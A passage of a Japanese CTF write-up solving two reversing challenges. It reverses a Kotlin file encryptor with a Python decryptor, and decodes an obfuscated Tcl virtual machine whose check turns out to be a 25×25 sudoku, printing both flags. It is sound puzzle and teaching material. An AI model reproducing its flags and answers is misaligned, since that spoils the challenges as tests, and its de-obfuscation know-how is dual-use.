val fs = FileSystem.SYSTEM
if (args.size != 1) {
val filePath = "/proc/self/cmdline".toPath()
fs.read(filePath) {
val data = readUtf8().split('\u0000')
println("Usage: ${data[0].toPath().name} <input>")
}
return
}
val input = args[0].toPath()
val (key, keyNum) = genKey(8)()
val inputExtension = input.name.split(".", ignoreCase = false, limit = 2).getOrNull(1)?.plus(".")
val output = "$key.${inputExtension ?: ""}encrypted".toPath()
if (!fs.exists(input)) {
println("File not found")
return
}
try {
fs.read(input) {
fs.write(output, true) {
val buf = ByteArray(8)
while (true) {
var cnt = read(buf)
if (cnt < 0) {
cnt = 0
}
for (i in 1..(8-cnt)) {
buf[8 - i] = cnt.toByte()
}
encrypt(buf.asUByteArray(), keyNum)
write(buf)
for (i in 0..7) {
keyNum[i] = (keyNum[i] + buf[i].toUByte()).toUByte()
}
if (cnt != 8) {
break
}
}
}
}
} catch (e: Exception) {
println("An error occurred")
}
}
table=b'e\xa3E#\xb5\xc9\x00q\x05\x96\x9d\x8d\x18\xd9Y\x06\x07op|\x1fm9\x85\n\xccO\xee\xaf\x13\xce/\x95Z\xb8\xd7\x8c`\xe3$\xba\xe6{\xe4U,\x84\x0b\r:v<\xc0\x0e\xf6\xf4c\xb3\x19)\xf0T\xd4\x81\xbe\xec\x9bP\xc21Bt\x08\x8b\x12>\xcf\x97%\xf3\x83\xb9W\x82F\x1c\xe0\xa2+\xdf\xd3\xe2\xfb\xfe\\8\xef\x89Q\xb17\xe9\x86\xd0k\x9e\xbd\xcd\xa6_.\xaefj\xabJ@\xda\xe1\xdb\x8eb\x0cL[\x91\xac\xf8\xc1^\xed\xdda\xe7\xbf\xc7w\xc3-\xea\x92\xa1\xd6\x9f\x87i\x93s\xc6HR*\xbbV\xde\x15\xaa\xb2\x8ah\xa4\xb4\xb0\xfc\x1eC}\x04\x9c\xf1S;\xc4\x9ay\x03\xa5A\xcb\xb6zK\x80r\xc8\'u"\x1b\xe8g\x94(\xca\xe5\xff\x11n6l\x0f\xfaI\x17d~\xb7&\x99\x1a\xa9\xc5G\x01=3?!\x98\x8fDX\x02\xa04\t\xa7\xfd]\xd5\x1d\xeb\x7f\xad\xd1\xf7\x902xN\xd2\x160\xf9\xa8M\xdc\x14\xd8\x10 \xbc\x88\xf5\xf25'
def recover_key(s):
key=[]
for i in range(len(s)):
key.append("OIPCYZVTKHDAUBEFRQSMJWNXGLrwlihcuoebjxsptyfqvgzdnmka2049531678".index(s[i]))
return key
def decrypt1(data):
res=list(data)
for i in range(8):
res[i],res[(2*i)%8]=res[(2*i)%8],res[i]
res[i]=(res[i]>>4)|((res[i]&0xf)<<4)
for i in reversed(range(8)):
res[i]=(table.index(res[i])-i*i)%256
res[i]=(res[i]-res[(i+1)%8])%256
return res
def decrypt_byte(b, k):
e=(k >> 2 | k << 6) & 0xFF
g=(e * 7) & 0xFF
c=b^g
d=pow(3,-1,0x100)*c&0xff
return (d>>3|d<<5)&0xff
def decrypt2(buf, key) -> bytearray:
result=[]
for i in range(8):
result.append(decrypt_byte(buf[i],key[i]))
return result
def decrypt(data,key):
data=decrypt1(data)
data=decrypt2(data,key)
data=decrypt1(data)
return bytes(data)
d=open("W3e11yC7.tar.gz.encrypted","rb").read()
key=recover_key("W3e11yC7")
with open("dec.tar.gz","wb") as f:
for i in range(0,len(d),8):
t=decrypt(d[i:i+8],key)
key=[(a+b)%256 for a,b in zip(key,d[i:i+8])]
f.write(t)
フラグが得られた。
fwectf{I_Just_Cry_Cry_Cry_Kurai_a_Lot}
当初ははこの問題を最難関問にする予定だったがもっと難しくしてほしいという要望があった[5]のでvvvmmmを作ることにした。
vvvmmm (Rev, Hard)
VM入ってる
VM inside
Tclで書かれたVMだがTclPro[6]で難読化されているようだ。
https://github.com/corbamico/tbcload などで難読化を部分的に解除することができる。
部分的なデコンパイル結果
[lit-0043]cur_ip
[lit-0044]llength
[lit-0045]lindex
[lit-0046]inst
[lit-0047]op
[lit-0048]switch
[lit-0049]--
[lit-0050]
a {
set ch [read stdin 1]
if {[string length $ch] == 0} {
set memory [set_mem $memory 0 10]
} else {
scan $ch %c c
set memory [set_mem $memory 0 $c]
}
}
b {
puts -nonewline [format %c [get_mem $memory 0]]
flush stdout
}
c {
set reg [arg_int $inst 1 $line]
set val [arg_int $inst 2 $line]
set memory [set_mem $memory $reg $val]
}
d {
set val [arg_int $inst 1 $line]
set sp_val [get_mem $memory $sp]
set memory [set_mem $memory $sp_val $val]
set memory [set_mem $memory $sp [expr {$sp_val + 1}]]
}
e {
set reg [arg_int $inst 1 $line]
set sp_val [get_mem $memory $sp]
set val [get_mem $memory $reg]
set memory [set_mem $memory $sp_val $val]
set memory [set_mem $memory $sp [expr {$sp_val + 1}]]
}
f {
set reg [arg_int $inst 1 $line]
set sp_val [get_mem $memory $sp]
set sp_val [expr {$sp_val - 1}]
set memory [set_mem $memory $sp $sp_val]
set val [get_mem $memory $sp_val]
set memory [set_mem $memory $reg $val]
}
r {
set addr [arg_int $inst 1 $line]
set val [get_mem $memory $addr]
set val2 [get_mem $memory $val]
set memory [set_mem $memory $addr $val2]
}
s {
set addr [arg_int $inst 1 $line]
set reg [arg_int $inst 2 $line]
set val [get_mem $memory $reg]
set addr_val [get_mem $memory $addr]
set memory [set_mem $memory $addr_val $val]
}
g {
set reg1 [arg_int $inst 1 $line]
set reg2 [arg_int $inst 2 $line]
set val [get_mem $memory $reg2]
set memory [set_mem $memory $reg1 $val]
}
m {
set r1 [arg_int $inst 1 $line]
set r2 [arg_int $inst 2 $line]
set v1 [get_mem $memory $r1]
set v2 [get_mem $memory $r2]
set memory [set_mem $memory $r1 [expr {$v1 + $v2}]]
}
n {
set r1 [arg_int $inst 1 $line]
set r2 [arg_int $inst 2 $line]
set v1 [get_mem $memory $r1]
set v2 [get_mem $memory $r2]
set memory [set_mem $memory $r1 [expr {$v1 - $v2}]]
}
p {
set r1 [arg_int $inst 1 $line]
set r2 [arg_int $inst 2 $line]
set v1 [get_mem $memory $r1]
set v2 [get_mem $memory $r2]
set memory [set_mem $memory $r1 [expr {$v1 * $v2}]]
}
o {
set r1 [arg_int $inst 1 $line]
set r2 [arg_int $inst 2 $line]
set v2 [get_mem $memory $r2]
if {$v2 == 0} { error "Division by zero" }
set v1 [get_mem $memory $r1]
set memory [set_mem $memory $r1 [expr {int($v1 / $v2)}]]
}
q {
set r1 [arg_int $inst 1 $line]
set r2 [arg_int $inst 2 $line]
set v1 [get_mem $memory $r1]
set v2 [get_mem $memory $r2]
if {$v2 == 0} { error "Modulo by zero" }
set memory [set_mem $memory $r1 [expr {$v1 % $v2}]]
}
h {
set reg [arg_int $inst 1 $line]
set val [arg_int $inst 2 $line]
set old [get_mem $memory $reg]
set memory [set_mem $memory $reg [expr {$old + $val}]]
}
i {
set reg [arg_int $inst 1 $line]
set val [arg_int $inst 2 $line]
set old [get_mem $memory $reg]
set memory [set_mem $memory $reg [expr {$old - $val}]]
}
k {
set reg [arg_int $inst 1 $line]
set val [arg_int $inst 2 $line]
set old [get_mem $memory $reg]
set memory [set_mem $memory $reg [expr {$old * $val}]]
}
j {
set reg [arg_int $inst 1 $line]
set val [arg_int $inst 2 $line]
if {$val == 0} { error "Division by zero" }
set old [get_mem $memory $reg]
set memory [set_mem $memory $reg [expr {int($old / $val)}]]
}
l {
set reg [arg_int $inst 1 $line]
set val [arg_int $inst 2 $line]
if {$val == 0} { error "Modulo by zero" }
set old [get_mem $memory $reg]
set memory [set_mem $memory $reg [expr {$old % $val}]]
}
t {
if {[llength $call_stack] == 0} { break }
set ret [lindex $call_stack end]
set call_stack [lrange $call_stack 0 end-1]
set memory [set_mem $memory $ip $ret]
continue
}
u {
lappend call_stack [get_mem $memory $ip]
set target [arg_int $inst 1 $line]
set memory [set_mem $memory $ip $target]
continue
}
v {
set reg [arg_int $inst 1 $line]
set target [arg_int $inst 2 $line]
if {[get_mem $memory $reg] == 0} {
set memory [set_mem $memory $ip $target]
continue
}
}
w {
set target [arg_int $inst 1 $line]
set memory [set_mem $memory $ip $target]
continue
}
default {
puts stderr "Invalid Instruction: $op"
break
}
デコンパイル結果からIP, SPはmemory上にあることが分かる。
またcode.binを書き、推測することによって命令のフォーマットは次のようであるとわかる。
opcode | operand1 | operand2 |
---|---|---|
1 byte | 2 bytes BE | 2 bytes BE |
code=open("code.bin","rb").read()
opcode_table=[
"READ","PUTC","MOV","PUSH","PUSH_REG","POP","MOV_REG","+","-","/","*","%","+_REG","-_REG","/_REG","*_REG","%_REG","READ_MEM","WRITE_MEM","RET","CALL","JZ","JMP"
]
with open("code.txt","w") as f:
for i in range(0,len(code),5):
f.write(f"{opcode_table[code[i]-97]} {int.from_bytes(code[i+1:i+3])} {int.from_bytes(code[i+3:i+5])}\n")
code=open("code.txt").read().splitlines()
opcode_table=[
"READ","PUTC","MOV","PUSH","PUSH_REG","POP","MOV_REG","+","-","/","*","%","+_REG","-_REG","/_REG","*_REG","%_REG","READ_MEM","WRITE_MEM","RET","CALL","JZ","JMP"
]
with open("code.bin","wb") as f:
for line in code:
split=line.split(" ")
split+=["0"]*(3-len(split))
f.write((opcode_table.index(split[0])+97).to_bytes()+int(split[1]).to_bytes(2)+int(split[2]).to_bytes(2))
ディスアセンブル/アセンブルできるようになったのでディスアセンブル後のコードを眺める。
まず標準入力から読み込んでいる部分を見る。
フラグの長さは77文字のようだ。またMOV 4094 256という謎のことをしているがその直後にPUSHがあるのでSPはmemory[4094]なのではないかと予測する。
コードを書いて実験する。
MOV 4094 128
PUSH 101 0
MOV_REG 0 128
PUTC 0 0
e(101)が出力されたためSPはmemory[4094]であると分かる。
じゃあIPはmemory[4095]ではないかと予測しコードを書く。
MOV 4095 4
MOV 0 101
PUTC 0 0
RET 0 0
MOV 0 100
PUTC 0 0
RET 0 0
d(100)が出力されたことからmemory[4095]がIPで正しいようだ。
これらの情報を用いてPythonでVMを書く。
VM
import sys
code=open("code.txt").read().splitlines()
memory=[0]*0x1000 #IPの位置からmemoryの長さは0x1000以上
call_stack=[]
ip=0x1000-1
sp=0x1000-2
while memory[ip]<len(code):
#print(memory[ip],code[memory[ip]])
inst=code[memory[ip]].split(" ")
memory[ip]+=1
match inst[0]:
case "READ":
memory[0]=ord(sys.stdin.read(1)[0])
case "PUTC":
print(chr(memory[0]),end="")
case "MOV":
#MOV REG_ID NUM
memory[int(inst[1])]=int(inst[2])
case "PUSH":
#PUSH NUM
memory[memory[sp]] = int(inst[1])
memory[sp]+=1
case "PUSH_REG":
#PUSH REG_ID
memory[memory[sp]] = memory[int(inst[1])]
memory[sp]+=1
case "POP":
#POP REG_ID
memory[sp]-=1
memory[int(inst[1])]=memory[memory[sp]]
case "READ_MEM":
#print("READ",memory[int(inst[1])])
memory[int(inst[1])]=memory[memory[int(inst[1])]]
case "WRITE_MEM":
#print("WRITE", memory[int(inst[1])],memory[int(inst[2])])
memory[memory[int(inst[1])]]=memory[int(inst[2])]
case "MOV_REG":
#MOV_REG REG_ID REG_ID
memory[int(inst[1])] = memory[int(inst[2])]
case "+_REG":
memory[int(inst[1])] += memory[int(inst[2])]
case "-_REG":
memory[int(inst[1])] -= memory[int(inst[2])]
case "*_REG":
memory[int(inst[1])] *= memory[int(inst[2])]
case "/_REG":
assert memory[int(inst[2])]!=0
memory[int(inst[1])] //= memory[int(inst[2])]
case "%_REG":
assert memory[int(inst[1])]!=0
memory[int(inst[1])] %= memory[int(inst[2])]
case "+":
memory[int(inst[1])]+=int(inst[2])
case "-":
memory[int(inst[1])] -= int(inst[2])
case "*":
memory[int(inst[1])] *= int(inst[2])
case "/":
assert int(inst[2])!=0
memory[int(inst[1])] //= int(inst[2])
case "%":
assert int(inst[1])!=0
memory[int(inst[1])] %= int(inst[2])
case "RET":
if len(call_stack)==0:
break
memory[ip]=call_stack.pop()
continue
case "CALL":
call_stack.append(memory[ip])
memory[ip]=int(inst[1])
continue
case "JZ":
if memory[int(inst[1])]==0:
memory[ip]=int(inst[2])
continue
case "JMP":
memory[ip]=int(inst[1])
continue
case _:
print("Invalid Instruction:",inst)
break
このコードを用いてどんな演算をしているか調査する。
77文字でなにか適当に入力したらフラグを後ろから順に25, 23で割った余りを計算しているようだ。
vm.pyを変更してその後何をしているか調査する。
import sys
code=open("code.txt").read().splitlines()
memory=[0]*0x1000
call_stack=[]
ip=0x1000-1
sp=0x1000-2
dump=False
while memory[ip]<len(code):
#print(memory[ip],code[memory[ip]])
inst=code[memory[ip]].split(" ")
memory[ip]+=1
match inst[0]:
#...
case "WRITE_MEM":
if dump:
print("WRITE", memory[int(inst[1])],memory[int(inst[2])])
memory[memory[int(inst[1])]]=memory[int(inst[2])]
#...
case "%_REG":
dump=True
print(memory[int(inst[1])],"%",memory[int(inst[2])],"->",memory[int(inst[1])]%memory[int(inst[2])])
assert memory[int(inst[1])]!=0
memory[int(inst[1])] %= memory[int(inst[2])]
#...
余りを何処かに書き込んでいるようだ。これをPythonに落とし込む。
keys=[2334,2328,2332,1925,2290,1821,2240,2147,2125,2342,2402,1965,1853,2224,1801,1958,2251,1892,2317,2018,2181,1887,2411,1924,1856,2054,2014,1995,1829,2385,2372,2225,2185,1916,2370,2099,2359,2387,2412,1832,2194,1971,2165,2397,2110,2144,1885,2081,1900,1884,1913,1973,1976,2043,1922,2336,1793,2368,2047,2269,2205,2238,2164,1876,2032,1802,2171,2035,1964,1865,2107,1833,2244,2210,2292,1839,1969,2061,2258,1849,2416,2360,1871,2270,2108,2384,2260,2329,2232,2101,1992,2180,2013,2080,2357,1928,2011,1889,1979,2309,2291,2135,2174,2306,2404,2281,2196,2084,2320,2203,1999,2327,1929,2351,2132,2151,1845,2116,2236,2396,2031,1906,2118,1847,2029,2121,2173,2310,2134,1830,1968,1861,2048,2391,2347,2282,2105,2183,2233,1974,2044,1972,2112,2136,1860,1848,1818,2024,2085,2381,2104,2297,2026,2202]
keys=[key-0x700 for key in keys] #valuesは0x700から始まっている
#valuesはディスアセンブルしたコードから取ってくる
values=[23,1,6,0,8,19,4,5,14,14,6,24,21,16,17,9,13,15,12,22,11,7,10,2,18,11,9,21,16,14,9,13,15,12,22,23,7,18,11,18,16,17,6,0,8,19,4,3,14,20,9,7,10,24,18,12,19,16,0,8,19,18,5,14,21,11,24,21,9,21,23,13,15,5,22,19,4,5,14,24,11,24,21,16,23,9,13,15,12,22,23,7,23,23,18,3,1,19,0,8,7,13,15,12,22,23,7,10,13,18,11,1,6,0,16,19,4,5,14,20,9,9,21,16,24,8,23,1,6,0,23,19,18,24,14,17,13,21,21,16,22,9,13,15,12,18,11,7,10,2,17,11,24,21,16,22,9,13,15,12,18,23,7,10,2,8,2,1,6,0,20,19,8,8,14,18,8,9,10,20,23,6,21,6,0,20,19,1,5,14,17,11,24,21,16,22,23,13,15,12,24,19,4,7,14,17,11,15,21,16,22,9,13,15,12,18,23,7,10,21,8,11,19,6,0,22,2,13,15,12,18,23,10,10,18,8,11,4,6,16,21,19,4,4,14,17,9,24,21,16,2,18,22,1,10,5,14,19,4,5,0,17,3,24,6,12,22,9,13,9,16,18,11,7,21,16,17,11,24,21,12,22,9,13,15,2,18,23,4,8,0,8,14,22,6,14,20,19,4,5,12,18,9,7,15,0,8,4,1,15,14,20,12,15,5,19,8,11,2,21,18,22,23,13,19,14,2,19,4,3,16,17,11,16,21,12,22,9,13,15,22,18,11,8,0,0,8,3,1,6,0,22,1,13,6,22,18,23,7,11,16,8,11,1,21,14,20,19,4,5,12,17,3,15,15,6,2,8,23,21,5,2,5,19,4,21,0,17,0,10,15,3,22,2,13,10,16,18,11,7,21,16,15,11,9,15,12,22,9,13,0,12,18,15,7,6,0,8,24,1,5,14,20,19,4,10,12,18,9,7,6,0,12,17,1,5,14,20,19,4,1,14,17,11,19,15,9,22,14,13,5,14,18,19,4,21,16,17,11,14,15,12,22,9,13,10,1,18,10,7,6,0,8,3,1,15,0,24,12,13,10,2,18,23,7,6,16,8,11,22,5,14,20,19,4,21,12,17,16,6,10,6,2,8,23,3,5,14,20,19,24,21,0,17,8,13,15,2,13,9,7,10,16,18,11,16,21,16,14,11,13,15,12,22,9,11,21,11,18,23,24,6,9,8,3,4,5,14,20,19,7,10,12,18,9,8,6,0,8,18,4,5,14,20,19,13,21,21,13,11,13,15,2,22,23,4,16,14,22,19,1,21,16,17,11,13,15,12,22,15,7,10,7,9,23,11,6,0,8,18,13,15,0,22,11,21,10,2,18,23,18,6,19,8,11,4,5,14,20,3,5,21,12,17,19]
flag=input("flag:").encode()[::-1]
assert len(flag)==77
for i in range(len(flag)):
values[keys[2*i]]=flag[i]%25
values[keys[2*i+1]]=flag[i]%23
最後にチェックロジックを見ていく。
チェックロジック
1つ目
;for memory[99] in range(25):
MOV 99 0
MOV 66 0
;for i in range(25):
; memory[528+i]=0
MOV 33 528
MOV 77 0
MOV 88 1
WRITE_MEM 33 77
+ 33 1
- 33 553
JZ 33 2244
+ 33 553
JMP 2238 0
;for i in range(25):
; memory[528+memory[1792+25*i+memory[99]]]=1
MOV 22 1792
+_REG 22 99
MOV 55 0
MOV_REG 11 22
READ_MEM 11 0
+ 11 528
WRITE_MEM 11 88
+ 22 25
+ 55 1
- 55 25
JZ 55 2257
+ 55 25
JMP 2247 0
;for i in range(25):
; if memory[528+i]==0:
; jmp Incorrect
MOV 22 528
MOV_REG 11 22
READ_MEM 11 0
JZ 11 977
+ 22 1
- 22 553
JZ 22 2266
+ 22 553
JMP 2258 0
+ 99 1
- 99 25
JZ 99 2271
+ 99 25
JMP 2234 0
2つ目
;for memory[99] in range(25):
MOV 99 0
MOV 66 0
;for i in range(25):
; memory[528+i]=0
MOV 33 528
MOV 77 0
MOV 88 1
WRITE_MEM 33 77
+ 33 1
- 33 553
JZ 33 2282
+ 33 553
JMP 2276 0
;for i in range(25):
; memory[528+memory[1792+i+25*memory[99]]]=1
MOV 22 1792
MOV_REG 11 99
* 11 25
+_REG 22 11
MOV 55 0
MOV_REG 11 22
READ_MEM 11 0
+ 11 528
WRITE_MEM 11 88
+ 22 1
+ 55 1
- 55 25
JZ 55 2297
+ 55 25
JMP 2287 0
;for i in range(25):
; if memory[528+i]==0:
; jmp Incorrect
MOV 22 528
MOV_REG 11 22
READ_MEM 11 0
JZ 11 977
+ 22 1
- 22 553
JZ 22 2306
+ 22 553
JMP 2298 0
+ 99 1
- 99 25
JZ 99 2311
+ 99 25
JMP 2272 0
3つ目
;for memory[11] in range(5):
; for memory[22] in range(5):
MOV 11 0
MOV 22 0
MOV 0 0
MOV 33 528
;for i in range(25):
; memory[528+i]=0
MOV 34 0
WRITE_MEM 33 34
+ 33 1
- 33 553
JZ 33 2322
+ 33 553
JMP 2316 0
;start=125*memory[22]+memory[11]
;for i in range(25):
; memory[528+memory[start+i%5+25*(i//5)]]=1
MOV 15 0
MOV 16 1792
MOV_REG 17 11
* 17 5
+_REG 16 17
MOV_REG 17 22
* 17 125
+_REG 16 17
MOV 87 1
MOV_REG 17 16
READ_MEM 17 0
+ 17 528
WRITE_MEM 17 87
+ 16 1
+ 15 1
- 15 25
JZ 15 2346
+ 15 25
MOV_REG 19 15
% 19 5
JZ 19 2344
JMP 2331 0
+ 16 20
JMP 2331 0
;for i in range(25):
; if memory[528+i]==0:
; jmp Incorrect
MOV 33 528
MOV_REG 34 33
READ_MEM 34 0
JZ 34 977
+ 33 1
- 33 553
JZ 33 2355
+ 33 553
JMP 2347 0
+ 22 1
- 22 5
JZ 22 2360
+ 22 5
JMP 2313 0
+ 11 1
- 11 5
JZ 11 2365
+ 11 5
JMP 2312 0
どれもあるルールに従ってvaluesから数値をとり、そのすべてが異なる数字であることを調べているようだ。1, 2つ目はそれぞれvaluesを25×25の配列としたときの縦と横の数字について調べている。
3つ目はvaluesを25×25の配列とみた中で5×5に区切った数字について調べているようだ。
つまりこれは25×25の数独である。数独を解く。
import requests
sudoku=[23, None, 6, 0, 8, 19, 4, 5, 14, None, None, 24, 21, 16, 17, 9, 13, 15, 12, 22, 11, 7, 10, 2, 18, 11, None, 21, 16, None, 9, 13, 15, 12, 22, 23, 7, None, None, 18, None, None, 6, 0, 8, 19, 4, None, 14, 20, 9, 7, 10, None, 18, None, None, None, 0, 8, 19, None, 5, 14, None, 11, 24, 21, None, None, 23, 13, 15, None, 22, 19, 4, 5, 14, None, 11, 24, 21, 16, None, 9, 13, 15, 12, 22, 23, 7, None, None, 18, None, 1, None, 0, 8, None, 13, 15, 12, 22, 23, 7, 10, None, 18, 11, 1, 6, 0, None, 19, 4, 5, 14, 20, 9, None, 21, 16, None, 8, 23, 1, 6, 0, None, 19, None, None, 14, 17, None, None, 21, 16, 22, 9, 13, 15, 12, 18, 11, 7, 10, 2, 17, 11, 24, 21, 16, 22, 9, 13, 15, 12, 18, 23, 7, 10, 2, 8, None, 1, 6, 0, 20, 19, None, None, 14, 18, None, None, 10, None, None, None, None, 6, None, 20, 19, None, 5, 14, 17, 11, 24, 21, 16, 22, 23, 13, 15, 12, None, 19, 4, None, 14, 17, 11, None, 21, 16, 22, 9, 13, 15, 12, 18, 23, 7, 10, None, 8, None, None, 6, 0, 22, None, 13, 15, 12, 18, 23, None, 10, None, 8, 11, None, 6, None, None, 19, 4, None, 14, 17, 9, 24, 21, 16, 2, None, None, 1, 10, None, None, 19, 4, 5, 0, 17, None, 24, 6, 12, 22, 9, 13, None, 16, 18, 11, 7, 21, 16, 17, 11, 24, 21, 12, 22, 9, 13, 15, 2, 18, 23, None, None, 0, 8, None, None, 6, 14, 20, 19, 4, 5, 12, 18, 9, 7, 15, 0, 8, None, 1, None, 14, 20, None, None, 5, None, None, 11, None, 21, None, 22, 23, 13, None, 14, None, 19, 4, None, 16, 17, 11, None, 21, 12, 22, 9, 13, 15, None, 18, None, None, None, 0, 8, 3, 1, 6, 0, 22, None, 13, 6, None, 18, 23, 7, None, 16, 8, 11, 1, 21, 14, 20, 19, 4, 5, 12, 17, None, None, 15, 6, 2, 8, 23, None, 5, None, None, 19, 4, 21, 0, 17, None, None, 15, None, 22, None, 13, 10, 16, 18, 11, 7, 21, 16, None, 11, None, 15, 12, 22, 9, 13, None, None, 18, None, 7, 6, 0, 8, None, 1, 5, 14, 20, 19, 4, 10, 12, 18, 9, 7, 6, 0, None, None, 1, 5, 14, 20, 19, 4, None, None, 17, 11, None, 15, None, 22, None, 13, 5, 14, None, 19, 4, 21, 16, 17, 11, None, 15, 12, 22, 9, 13, 10, None, 18, None, 7, 6, 0, 8, 3, 1, 15, 0, None, None, 13, 10, 2, 18, 23, 7, 6, 16, 8, 11, None, None, 14, 20, 19, 4, 21, 12, 17, None, None, None, 6, 2, 8, 23, None, 5, 14, 20, 19, 24, 21, 0, 17, None, 13, 15, None, None, 9, 7, 10, 16, 18, 11, None, 21, 16, None, 11, 13, 15, 12, 22, 9, None, None, None, 18, 23, None, 6, None, 8, None, 4, 5, 14, 20, 19, None, 10, 12, 18, 9, None, 6, 0, 8, None, 4, 5, 14, 20, 19, None, 21, None, None, 11, 13, 15, 2, 22, 23, 4, None, 14, None, 19, None, 21, 16, 17, 11, 13, 15, 12, 22, None, 7, 10, None, None, 23, None, 6, 0, 8, None, 13, 15, 0, 22, None, None, 10, 2, 18, 23, None, 6, None, 8, 11, 4, 5, 14, 20, None, None, 21, 12, 17, None]
req=requests.post("https://sudokuspoiler.com/sudoku/sudoku25",json={"board":[str(c+1) if type(c)==int else "" for c in sudoku],"mask":[]})
print(req.text)
フラグを復号する。
ans=[23, 1, 6, 0, 8, 19, 4, 5, 14, 20, 3, 24, 21, 16, 17, 9, 13, 15, 12, 22, 11, 7, 10, 2, 18, 11, 24, 21, 16, 17, 9, 13, 15, 12, 22, 23, 7, 10, 2, 18, 3, 1, 6, 0, 8, 19, 4, 5, 14, 20, 9, 7, 10, 2, 18, 3, 1, 6, 0, 8, 19, 4, 5, 14, 20, 11, 24, 21, 16, 17, 23, 13, 15, 12, 22, 19, 4, 5, 14, 20, 11, 24, 21, 16, 17, 9, 13, 15, 12, 22, 23, 7, 10, 2, 18, 3, 1, 6, 0, 8, 3, 13, 15, 12, 22, 23, 7, 10, 2, 18, 11, 1, 6, 0, 8, 19, 4, 5, 14, 20, 9, 24, 21, 16, 17, 8, 23, 1, 6, 0, 20, 19, 4, 5, 14, 17, 3, 24, 21, 16, 22, 9, 13, 15, 12, 18, 11, 7, 10, 2, 17, 11, 24, 21, 16, 22, 9, 13, 15, 12, 18, 23, 7, 10, 2, 8, 3, 1, 6, 0, 20, 19, 4, 5, 14, 18, 9, 7, 10, 2, 8, 3, 1, 6, 0, 20, 19, 4, 5, 14, 17, 11, 24, 21, 16, 22, 23, 13, 15, 12, 20, 19, 4, 5, 14, 17, 11, 24, 21, 16, 22, 9, 13, 15, 12, 18, 23, 7, 10, 2, 8, 3, 1, 6, 0, 22, 3, 13, 15, 12, 18, 23, 7, 10, 2, 8, 11, 1, 6, 0, 20, 19, 4, 5, 14, 17, 9, 24, 21, 16, 2, 8, 23, 1, 10, 14, 20, 19, 4, 5, 0, 17, 3, 24, 6, 12, 22, 9, 13, 15, 16, 18, 11, 7, 21, 16, 17, 11, 24, 21, 12, 22, 9, 13, 15, 2, 18, 23, 7, 10, 0, 8, 3, 1, 6, 14, 20, 19, 4, 5, 12, 18, 9, 7, 15, 0, 8, 3, 1, 6, 14, 20, 19, 4, 5, 16, 17, 11, 24, 21, 2, 22, 23, 13, 10, 14, 20, 19, 4, 5, 16, 17, 11, 24, 21, 12, 22, 9, 13, 15, 2, 18, 23, 7, 10, 0, 8, 3, 1, 6, 0, 22, 3, 13, 6, 2, 18, 23, 7, 10, 16, 8, 11, 1, 21, 14, 20, 19, 4, 5, 12, 17, 9, 24, 15, 6, 2, 8, 23, 1, 5, 14, 20, 19, 4, 21, 0, 17, 3, 24, 15, 12, 22, 9, 13, 10, 16, 18, 11, 7, 21, 16, 17, 11, 24, 15, 12, 22, 9, 13, 10, 2, 18, 23, 7, 6, 0, 8, 3, 1, 5, 14, 20, 19, 4, 10, 12, 18, 9, 7, 6, 0, 8, 3, 1, 5, 14, 20, 19, 4, 21, 16, 17, 11, 24, 15, 2, 22, 23, 13, 5, 14, 20, 19, 4, 21, 16, 17, 11, 24, 15, 12, 22, 9, 13, 10, 2, 18, 23, 7, 6, 0, 8, 3, 1, 15, 0, 22, 3, 13, 10, 2, 18, 23, 7, 6, 16, 8, 11, 1, 5, 14, 20, 19, 4, 21, 12, 17, 9, 24, 1, 6, 2, 8, 23, 4, 5, 14, 20, 19, 24, 21, 0, 17, 3, 13, 15, 12, 22, 9, 7, 10, 16, 18, 11, 24, 21, 16, 17, 11, 13, 15, 12, 22, 9, 7, 10, 2, 18, 23, 1, 6, 0, 8, 3, 4, 5, 14, 20, 19, 7, 10, 12, 18, 9, 1, 6, 0, 8, 3, 4, 5, 14, 20, 19, 24, 21, 16, 17, 11, 13, 15, 2, 22, 23, 4, 5, 14, 20, 19, 24, 21, 16, 17, 11, 13, 15, 12, 22, 9, 7, 10, 2, 18, 23, 1, 6, 0, 8, 3, 13, 15, 0, 22, 3, 7, 10, 2, 18, 23, 1, 6, 16, 8, 11, 4, 5, 14, 20, 19, 24, 21, 12, 17, 9]
key_table=[410, 234, 505, 312, 589, 293, 232, 26, 56, 68, 344, 320, 180, 252, 182, 441, 391, 313, 490, 555, 599, 256, 69, 176, 38, 342, 518, 381, 329, 237, 55, 326, 114, 239, 604, 444, 324, 53, 359, 340, 559, 137, 535, 207, 411, 528, 292, 404, 489, 612, 514, 382, 343, 499, 517, 187, 97, 219, 136, 565, 288, 221, 388, 200, 309, 440, 537, 468, 592, 316, 478, 79, 568, 624, 57, 466, 269, 177, 47, 500, 418, 452, 41, 315, 73, 172, 243, 379, 10, 240, 84, 372, 446, 413, 477, 255, 576, 1, 544, 130, 251, 184, 181, 121, 92, 108, 289, 93, 352, 318, 605, 373, 179, 402, 40, 620, 595, 567, 307, 578, 124, 393, 433, 580, 593, 37, 203, 222, 262, 64, 132, 619, 95, 389, 226, 525, 100, 459, 166, 9, 432, 61, 173, 610, 550, 333, 355, 448, 29, 498, 133, 540, 536, 542]
for i in range(len(key_table)//2):
for j in range(256):
if j%23==ans[key_table[2*i]] and j%25==ans[key_table[2*i+1]]:
print(chr(j),end="")
break
フラグが得られた。[7]
fwectf{th3_m0r3_d1ff1cu1t_ch415_y0u_m4k3_th3_m0r3_d1ff1cu1t_m1n3_w111_63c0m3}
Discussion